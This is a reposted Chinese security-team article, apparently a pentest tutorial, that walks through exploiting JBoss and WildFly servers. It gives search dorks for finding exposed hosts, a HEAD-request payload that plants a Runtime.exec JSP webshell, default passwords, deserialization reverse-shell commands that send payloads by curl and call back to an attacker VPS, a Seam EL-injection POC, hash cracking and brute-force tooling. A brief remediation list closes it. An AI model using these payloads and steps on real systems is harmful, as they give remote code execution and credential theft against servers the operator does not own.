转载

Jboss漏洞利用

Jboss漏洞利用

声明: Tide安全团队原创文章,转载请声明出处! 文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

1、简介

Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss高危漏洞主要涉及到以下两种。

第一种是利用未授权访问进入JBoss后台进行文件上传的漏洞,例如: CVE-2007-1036CVE-2010-0738 , CVE-2006-5750 以及 JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability

另一种是利用Java反序列化进行远程代码执行的漏洞,例如: CVE-2015-7501CVE-2017-7504CVE-2017-12149CVE-2013-4810

2、环境部署

JBoss主要版本下载链接:https://teddysun.com/260.html

https://jbossas.jboss.org/downloads/

jboos 7.1.1 为例进行部署。

1、首先准备好jdk环境和相应的系统环境变量

2、然后执行 C:/jboss-as-7.1.1.Final/bin>add-user.bat 脚本,添加管理控制台用户,在 Realm 中保持默认。

Jboss漏洞利用

3、编辑  C:/jboss-as-7.1.1.Final/standalone/configuration/standalone.xml 文件,让jboss管理控制台和一些其它入口都对外开放,默认端口为8080

Jboss漏洞利用

4、运行 C:/jboss-as-7.1.1.Final/bin/standalone.bat 脚本来启动 jboss7 即可

Jboss漏洞利用

5、访问 http://10.211.55.7:8080/jboss 7 的默认管理控制台,发现已部署成功

Jboss漏洞利用 Jboss漏洞利用

3、服务探测与发现

1、公开搜索引擎, google 语法、 shodanfofa

fofa dork app="JBoss"
/web-console/Invoker
/invoker/JMXInvokerServlet
/jmx-console
/web-console
inurl:/console/ intitle:"JBoss Management"
inurl:/jmx-console/
inurl:/admin-console/
intitle:"Welcome to JBoss"
intitle:"jboss management console" "application server" version inurl:"web-console"
intitle:"JBoss Management Console – Server Information" "application server" inurl:"web-console" OR inurl:"jmx-console"

Jboss漏洞利用

2、通过常规端口扫描来发现,另外直接在浏览器中查看http响应头中的 X-Powered-By 字段内容一般也能看到

Jboss漏洞利用

实战中jboss很可能开放 8080,9990,9999 这三个端口,也可以全端口扫描避免遗漏

# nmap -sT -sV -Pn --open -p 1-65535 -v -n 10.211.55.7-10

Jboss漏洞利用 Jboss漏洞利用

4、访问控制不严导致的漏洞

4.1、JMX Console未授权访问Getshell

4.1.1、漏洞描述

此漏洞主要是由于 JBoss/jmx-console/HtmlAdaptor 路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到 jmx 控制台,并在其中执⾏任何功能。

4.1.2、影响版本

Jboss4.x以下

4.1.3、漏洞利⽤

1、首先访问 http://10.211.55.7:8080/jmx-console/ 然后找到 jboss.deployment (jboss 自带的部署功能)中的 flavor=URL,type=DeploymentScanner 点进去(通过 url 的方式远程部署)

Jboss漏洞利用

2、找到页面中的 void addURL() 选项来远程加载war包来部署。

Jboss漏洞利用

3、点击 invoke 之后会提示部署成功,如下

Jboss漏洞利用

4、部署完成后回到 flavor=URL,type=DeploymentScanner 页面点击下属性列表中的”Apply change” 

Jboss漏洞利用 5、最后访问⽊⻢地址为 http://10.211.55.7:8080/bm1/index.jsp
Jboss漏洞利用

6、通常像上面这样部署的 webshell ,物理路径默认都会在以下目录下 

C:/Users/tale/Desktop/jboss-4.2.3.GA/server/default/tmp/deploy/tmp1704732146918985209bm1-exp.wa

这个目录最多用作临时维持下权限,所以可以把shell传到 jmx-console 的默认目录来巩固权限

C:/Users/tale/Desktop/jboss-4.2.3.GA/server/default/deploy/jmx-console.war

4.2、JMX Console HtmlAdaptor Getshell(CVE-2007-1036)

4.2.1、漏洞描述

此漏洞主要是由于 JBoss/jmx-console/HtmlAdaptor 路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能。该漏洞利⽤的是后台中 jboss.admin ->  DeploymentFileRepository ->  store() ⽅法,通过向四个参数传⼊信息,达到上传 shell 的⽬的,其中arg0传⼊的是部署的war包名字, arg1 传⼊的是上传的⽂件的⽂件名, arg2 传⼊的是上传⽂件的⽂件格式, arg3 传⼊的是上传⽂件中的内容。通过控制这四个参数即可上传shell,控制整台服务器。但是通过实验发现, arg1arg2 可以进⾏⽂件的拼接,例如 arg1=she,arg2=ll.jsp 。这个时候服务器还是会进⾏拼接,将 shell.jsp 传⼊到指定路径下

4.2.2、影响版本

Jboss4.x以下

4.2.3、漏洞利用

输⼊ url:http://10.211.55.7:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository ,定位到 store ⽅法

Jboss漏洞利用

传⼊相应的值,即可getshell

Jboss漏洞利用

4.3、JMX控制台安全验证绕过漏洞(CVE-2010-0738)

4.3.1、漏洞描述

该漏洞利⽤⽅法跟 CVE-2007-1036 ⼀样,只是绕过了get和post传输限制,利⽤

head传输⽅式发送 payload

4.3.2、影响版本

jboss4.2.0、jboss 4.3.0

4.3.3、漏洞利⽤

利⽤head传输⽅式,payload如下:

HEAD /jmx-console/HtmlAdaptor?
action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIn
dex=6&arg0=../jmx-console.war/&arg1=hax0rwin&arg2=.jsp&arg3=
<%Runtime.getRuntime().exec(request.getParameter("i"));%>&arg4=True
HTTP/1.1
Host: hostx:portx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive

4.4、Administration Console 弱⼝令 Getshell

4.4.1、漏洞描述

Administration Console 存在默认密码 admin admin ,我们可以登录到后台部署war包 getshell

4.4.2、影响版本

全版本

4.4.3、漏洞利⽤

jboss6.0 版本为例

1、 jboss6.x 之后可以直接访问管理控制台 /admin-console 直接上传war包进行部署(通常默认密码为 admin:admin

2、输⼊弱⼝令登录进去

Jboss漏洞利用 3、点击 Web application ,然后点击右上⻆的 add
4、把war包传上去即可 getshell
Jboss漏洞利用

4、也可以借助 jboss 漏洞利用的 jexboss exp 工具集,完全一键纯傻瓜化利用,具体使用过程如下:

该工具适用于 jboss < 5.x 的版本,中间还有一些关于 java 反序列化,包括 struts2 和  jenkins 的漏洞利用 

git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -u http://ip:8080

运行之后默认会自动匹配检测所有漏洞规则,如果漏洞存在则会逐个询问你是否要对其进行利用,利用成功后,便会返回一个半交互的 jexboss shell
Jboss漏洞利用

shell> help
# 通过 help 可以看到更多的关于 jexboss shell 内置的高级用法
shell> jexremote=ip:110
# 使用该命令可以直接反弹远程系统shell回来

Jboss漏洞利用

4.5、CVE-2006-5750

此漏洞利用原理和 CVE-2007-1036 漏洞相同,唯一的区别是 CVE-2006-5750 漏洞利用 methodIndex 进行 store() 方法的调用。其中 methodIndex 是通过方法的编号进行调用。

5、反序列化RCE漏洞

5.1、JBosSAS 5.x,6.X 反序列化漏洞(CVE-2017-12149)

5.1.1、漏洞描述

此漏洞主要是由于 jboss/server/all/deploy/httpha-invoker.sar/invoker.war/WEB-INF/classes/org/jboss/invocation/http/servlet 目录下的 ReadOnlyAccessFilter.class 文件中的 doFilter 方法,再将序列化传入 ois 中,并没有进行过滤便调用了 readObject() 进行反序列化,导致传入的携带恶意代码的序列化数据执行,造成了反序列化的漏洞。

5.1.2、影响版本

JbossAS 5.x , JbossAS 6.x

5.1.3、漏洞利用

1、首先从http响应头和title中一般情况下都能看到信息来确定目标 jboss 版本是否在此漏洞版本范围

Jboss漏洞利用

2、确定目标的 jboss 是否存在此漏洞,直接访问 poc url: http://192.168.3.81:8080/invoker/readonly 如果出现报 500 错误,则说明目标机器可能存在此漏洞

Jboss漏洞利用

3、明确目标 jboss 可能存在此漏洞以后,接下来借助 JavaDeserH2HC 来完成整个利用过程

git clone https://github.com/joaomatosf/JavaDeserH2HC.git
cd JavaDeserH2HC/

4、首先尝试直接反弹 shell ,利用 JavaDeserH2HC 创建好用于反弹 shell 的 payload,如下

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap vps的ip:端口

4、然后尝试利用 curl 发送 payload 到目标机器上执行后,发现vps已成功接弹回的shell

curl http://www.target.net/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

Jboss漏洞利用

5.2、JBOSSMQ JMS 集群反序列化漏洞(CVE-2017-7504)

5.2.1、漏洞描述

JBoss AS 4.x 及之前版本中, JbossMQ 实现过程的 JMS over HTTP Invocation LayerHTTPServerILServlet.java ⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。

5.2.2、影响版本

JBoss AS 4.x 及之前版本

5.2.3、漏洞利用

1、首先验证目标 jboss 是否存在此漏洞,直接访问 

poc url : http://10.211.55.7:8080/jbossmq-httpil/HTTPServerILServlet/

2、如果返回以下内容,则说明目标的 jboss 可能存在此漏洞,而后继续尝试进一步利用即可

Jboss漏洞利用

3、此处我们使用 JavaDeserH2HC 工具来利用该漏洞,尝试直接弹回一个目标系统的原生  cmd shell

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 10.211.55.16:53
curl http://10.211.55.7:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ReverseShellCommonsCollectionsHashMap.ser

Jboss漏洞利用

5.3、JBoss JMXInvokerServlet 反序列化漏洞 (CVE-2015-7501)

5.3.1、漏洞描述

由于 JBossinvoker/JMXInvokerServlet 路径对外开放,JBoss的 jmx 组件⽀持Java反序列化

5.3.2、影响版本

实际上主要集中在 jboss 6.x 版本上:

Apache Group Commons Collections 4.0
 Apache Group Commons Collections 3.2.1
 Apache Group Commons Collections

5.3.3、漏洞利用

验证是否存在此漏洞,直接访问

poc url: http://target/invoker/JMXInvokerServlet

如果像下面一样直接提示下载,则说明目标可能存在此漏洞

Jboss漏洞利用

下面使用JavaDeserH2HC 生成反弹 shell 的 payload

# cd JavaDeserH2HC/
# javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
# java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 公网vps的ip:端口号
# curl http://target/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

Jboss漏洞利用 打开nc界⾯,发现shell已经弹回成功了。

5.4、JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)

5.4.1、漏洞描述

此漏洞和 CVE-2015-7501 漏洞原理相同,两者的区别就在于两个漏洞选择的进行其中 JMXInvokerServletEJBInvokerServlet 利用的是 org.jboss.invocation.MarshalledValue 进行的反序列化操作,而 web-console/Invoker 利用的是 org.jboss.console.remote.RemoteMBeanInvocation 进行反序列化并上传构造的文件。

5.4.2、影响版本

实际上主要集中在 jboss 6.x 版本上:

Apache Group Commons Collections 4.0
 Apache Group Commons Collections 3.2.1
 Apache Group Commons Collections

5.4.3、漏洞利用

跟CVE-2015-7501利⽤⽅法⼀样,只是路径不⼀样,这个漏洞利⽤路径

是  /invoker/EJBInvokerServlet

6、JBoss seam2模板注入

6.1、CVE-2010-1871

6.1.1、漏洞描述

JBossSeam 是一个 JavaEE5 框架,把JSF与 EJB3.0 组件合并在一起,从而为开发基于Web的企业应用程序提供一个最新的模式。 JBossSeam 处理某些参数化 JBossEL 表达式的方式存在输入过滤漏洞。如果远程攻击者能够诱骗通过认证的 JBossSeam 用户访问特制的网页,就可能导致执行任意代码。

6.1.2、影响版本

Redhat Jboss_enterprise_application_platform:4.3.0

6.1.3、漏洞利用

1、此漏洞是通过 seam 组件中插入 #{payload} 进行模板注入,可以在以下链接中插入要执行的方法,通过Java反射机制来获取到( Java.lang.Runtime.getRuntime().exec() 方法),从而可以传入任何想要执行的命令。

/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{}的#{}

2、POC如下,其中cmd代表传入的远程命令。在 /admin-console/login.seam 路径下,POST传入构造好的 payload ,即可对此漏洞利用。

actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('Java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('Java.lang.Runtime')).exec(cmd)}

7、其它漏洞与利用

7.1、Jboss 7.x与WildFly控制台用户密码hash破解

搜集 jboss 中的所有密码,可以为后续内网横向移动提前做好准备

在7.x以下的版本,jboss用户密码通常默认都是直接明文保存在下面的文件中的

C:/Users/tale/Desktop/jboss-4.2.3.GA/server/default/conf/propsjmx-console-users.properties

Jboss漏洞利用

而高版本的 jbosswildfly 通常都是加密保存在下面的文件中,默认密码加密格式为 

HEX( MD5( username ':' realm ':' password))

C:/services/wildfly-10.1.0.Final/standalone/configuration/mgmt-users.properties

john 也对此算法支持,编号为 1591 ,可以对其进行破解

# john --wordlist=password.list --format=dynamic_1591

7.2、Jboss < 7.x默认管理控制台弱口令爆破

jboss 6.x-7.x 版本的默认管理控制台入口,因此版本默认没有强制复杂密码策略,所以比较容易出现弱口令。

Jboss 的常见弱口令:

admin:admin
admin:jboss
admin:password1!
jboss:admin
admin:ezoffice

7.3、Jboss > 7.x 和WildFly默认管理控制台弱口令爆破

jboss 从8开始正式更名为 WildFly ,在 WildFly8 之后的版本添加控制台用户时默认就会执行强密码策略,所以相对于之前低版本的 jboss ,针对 WildFly 之后版本的弱口令推荐 wildPwn 这款爆破工具

# git clone https://github.com/hlldz/wildPwn.git
# cd wildPwn
# python wildPwn.py -m brute --target 192.168.3.108 --port 8080 -user userList.txt -pass passList.txt

Jboss漏洞利用

7.4、WildFly默认管理控制台部署webshell方法

1、通过账号密码登到 wildlfy 控制台页面后,找到  Deployments 选项,上传 war

Jboss漏洞利用 2、此处勾选启用 Enable
Jboss漏洞利用 Jboss漏洞利用 3、提示成功后会直接部署到 jboss 根目录下,访问 http://127.0.0.1:8080/cmd/cmd.jsp
Jboss漏洞利用

4、访问木马webshell

Jboss漏洞利用

7.5、Jboss常用工具分析

使用如下工具时,开启wireshark发现该工具只是探测目标是否存在 CVE-2015-7501

filter : ip.addr==192.168.3.81 and tcp.port==8080 and http
Jboss漏洞利用

通过简单的观察请求我们发现,常用的漏洞利用工具所探测的漏洞都已经非常老了,绝大多数用的还是 CVE-2015-7501

Jboss漏洞利用

8、漏洞修复

1.设置强口令

2.尽量不要开放到公网

3.在各个对外开放组件进行输入验证

4.限制来源IP 

5.升级到最新版

9、参考链接

https://www.freebuf.com/vuls/186948.html

https://klionsec.github.io/

https://www.jianshu.com/p/e34062e0a6f1

https://github.com/joaomatosf/JavaDeserH2HC

https://www.onebug.org/websafe/75730.html

Jboss漏洞利用

guān

zhù

men

Tide安全团队正式成立于2019年1月 是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以 关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

Jboss漏洞利用

Jboss漏洞利用

原文  http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247486691&idx=1&sn=25d832de2447b419a334ab0b56c185e4
正文到此结束
Loading...